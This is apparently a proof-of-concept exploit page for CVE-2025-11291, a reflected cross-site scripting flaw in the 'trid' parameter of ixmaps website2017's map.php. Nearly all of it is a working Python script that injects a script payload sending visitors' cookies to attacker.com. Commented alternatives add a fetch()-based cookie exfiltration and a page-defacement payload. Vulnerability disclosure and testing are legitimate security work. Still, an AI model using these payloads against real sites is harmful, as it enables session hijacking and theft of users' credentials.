CVE-2025-11291：ixmaps website2017 跨站脚本漏洞

# CVE-2025-11291 PoC - Reflected XSS in ixmaps website2017 /map.php # Vulnerable parameter: trid # Attack type: Reflected Cross-Site Scripting (XSS) import requests TARGET_URL = "http://target/map.php" # Malicious JavaScript payload to steal cookies payload = "<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>" # Construct the exploit URL params = { "trid": payload } exploit_url = f"{TARGET_URL}?trid={payload}" print(f"[+] Exploit URL: {exploit_url}") # Send the malicious request response = requests.get(TARGET_URL, params=params) # Check if the payload is reflected without sanitization if payload in response.text: print("[+] Vulnerability confirmed! Payload reflected in response.") print("[+] XSS will execute in victim's browser when they visit this URL.") else: print("[-] Payload not reflected. Target may be patched.") # Alternative payload examples: # Simple alert: <script>alert('XSS')</script> # Cookie exfiltration: <script>fetch('http://attacker.com/?c='+document.cookie)</script> # DOM manipulation: <script>document.body.innerHTML='Hacked'</script>